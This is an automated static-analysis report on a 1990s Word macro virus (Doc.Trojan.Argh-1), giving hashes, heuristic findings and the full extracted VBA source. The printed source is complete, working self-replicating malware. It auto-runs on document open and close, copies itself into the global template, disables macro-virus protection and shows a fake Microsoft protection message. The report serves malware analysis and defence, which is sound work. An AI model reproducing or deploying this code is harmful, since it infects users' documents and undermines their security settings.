Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0b335c7298771e23…

MALICIOUS

Office (OLE)

37.5 KB Created: 1997-10-01 12:36:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 786f7b6bb4c376ec1717c790397f9298 SHA-1: 4ad4873865a82576f436a40be5718a68dae3c74c SHA-256: 0b335c7298771e231994846ba4ff335c7a231d13033834c912ea20d6e293438b
196 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

This document contains legacy WordBasic macro virus markers and VBA macros, including AutoOpen and Auto_Close, indicating a high likelihood of malicious intent. The presence of these elements suggests the file is designed to infect other documents or spread its malicious macro. The ClamAV detection of 'Doc.Trojan.Argh-1' further supports its classification as malware.

Heuristics 6

  • ClamAV: Doc.Trojan.Argh-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Argh-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Application.OrganizerCopy Source:= _
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4835 bytes
SHA-256: 58675ddd9e71220c45f96f2558502d6fd2ed4aaf2b7c7975baa2e330086674ec
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub infect(m)
Attribute infect.VB_Description = "Macro created 01/19/98 by chandana"
Attribute infect.VB_ProcData.VB_Invoke_Func = "TemplateProject.NewMacros.infect"
Application.DisplayAlerts = wdAlertsNone
d = Assistant.Animation


getnormal (1)
Assistant.Animation = d
End Sub

Sub deletenormal(m)
Attribute deletenormal.VB_Description = "Macro recorded 01/23/98 by chandana"
Attribute deletenormal.VB_ProcData.VB_Invoke_Func = "TemplateProject.NewMacros.copymacrotonormaldot"
On Error GoTo e
    Application.OrganizerRename Source:= _
        NormalTemplate.FullName, Name:= _
        "NewMacros", NewName:="oldNewMacros", Object:= _
        wdOrganizerObjectProjectItems
e:
End Sub
Sub copymacro(m)
Attribute copymacro.VB_Description = "Macro recorded 01/23/98 by chandana"
Attribute copymacro.VB_ProcData.VB_Invoke_Func = "TemplateProject.NewMacros.copymacro"
On Error GoTo eco
    Application.OrganizerCopy Source:= _
        ActiveDocument.FullName, Destination:= _
        NormalTemplate.FullName, Name:= _
        "NewMacros", Object:=wdOrganizerObjectProjectItems
eco:
End Sub

Sub replicate(m)
Attribute replicate.VB_Description = "Macro recorded 01/23/98 by chandana"
Attribute replicate.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.repl"
If Int((50 * Rnd) + 1) = 25 Then
   Set a = Assistant.NewBalloon
   a.Heading = "Help me"
   a.Text = "I'm not feeling very vell .. AAARGHH!!!"
   a.Show
   End If
On Error GoTo re
    With ActiveDocument
        .AttachedTemplate = "Normal.dot"
    End With
    Application.OrganizerCopy Source:= _
        NormalTemplate.FullName, Destination:= _
        ActiveDocument.FullName, Name:="NewMacros", _
        Object:=wdOrganizerObjectProjectItems
re:
End Sub
Sub AutoNew()
infect (1)
replicate (1)
runmacro ("AutoNew")
End Sub
Sub AutoClose()
infect (1)
replicate (1)
runmacro ("AutoClose")
End Sub
Sub autoopen()
infect (1)
replicate (1)
runmacro ("autoopen")
End Sub
Sub AutoExit()
infect (1)
replicate (1)
runmacro ("AutoExit")
End Sub
Sub ToolsMacro()
Attribute ToolsMacro.VB_Description = "Runs, creates, deletes, or revises a macro"
Attribute ToolsMacro.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.ToolsMacro"
If Documents.Count = 0 Then
n = MsgBox("Microsoft is protecting your normal.dot from virus infection You can only add macros to other documents", vbOKOnly)
Exit Sub
Else
getnormal (1)
restoreoriginal (1)
Dialogs(wdDialogToolsMacro).Show
recopy (1)
End If
End Sub

Sub restoreoriginal(m)
Attribute restoreoriginal.VB_Description = "Macro recorded 01/28/98 by chandana"
Attribute restoreoriginal.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.restoreoriginal"
On Error GoTo rr1:
    Application.OrganizerDelete Source:= _
        NormalTemplate.FullName, Name:= _
        "NewMacros", Object:=wdOrganizerObjectProjectItems
rr1:
 On Error GoTo rro:
    Application.OrganizerRename Source:= _
        NormalTemplate.FullName, Name:= _
        "oldNewMacros", NewName:="NewMacros", Object:= _
        wdOrganizerObjectProjectItems
rro:
End Sub
Sub recopy(m)
On Error GoTo eco
    reren (1)
    Application.OrganizerCopy Source:= _
        Options.DefaultFilePath(wdProgramPath) + Application.PathSeparator + "wininf.dll", Destination:= _
        NormalTemplate.FullName, Name:= _
        "NewMacros", Object:=wdOrganizerObjectProjectItems
eco:
End Sub
Sub reren(m)
On Error GoTo rre
Application.OrganizerRename Source:= _
        NormalTemplate.FullName, Name:= _
        "NewMacros", NewName:="oldNewMacros", Object:= _
        wdOrganizerObjectProjectItems
rre:
End Sub
Sub getnormal(m)
virusflag = System.PrivateProfileString("prncfg.ini", "Printer Port", "PortNumber")
Options.VirusProtection = False
If virusflag = "" Then
   System.PrivateProfileString("prncfg.ini", "Printer Port", "PortNumber") = "340"
   NormalTemplate.OpenAsDocument                                  'save normal.dot to windot.dll
   ActiveDocument.SaveAs FileName:=Options.DefaultFilePath(wdProgramPath) + Application.PathSeparator + "windot.dll"
   ActiveDocument.Close
   deletenormal (1)
   copymacro (1)
   NormalTemplate.OpenAsDocument
   ActiveDocument.SaveAs FileName:=Options.DefaultFilePath(wdProgramPath) + Application.PathSeparator + "wininf.dll" 'save infected dot
   ActiveDocument.Close
End If
End Sub
Sub runmacro(m)
On Error GoTo rme
Application.Run "Normal.oldNewMacros." + m
rme:
End Sub
Sub stealth()
ToolsMacro
MsgBox "stealth"
End
End Sub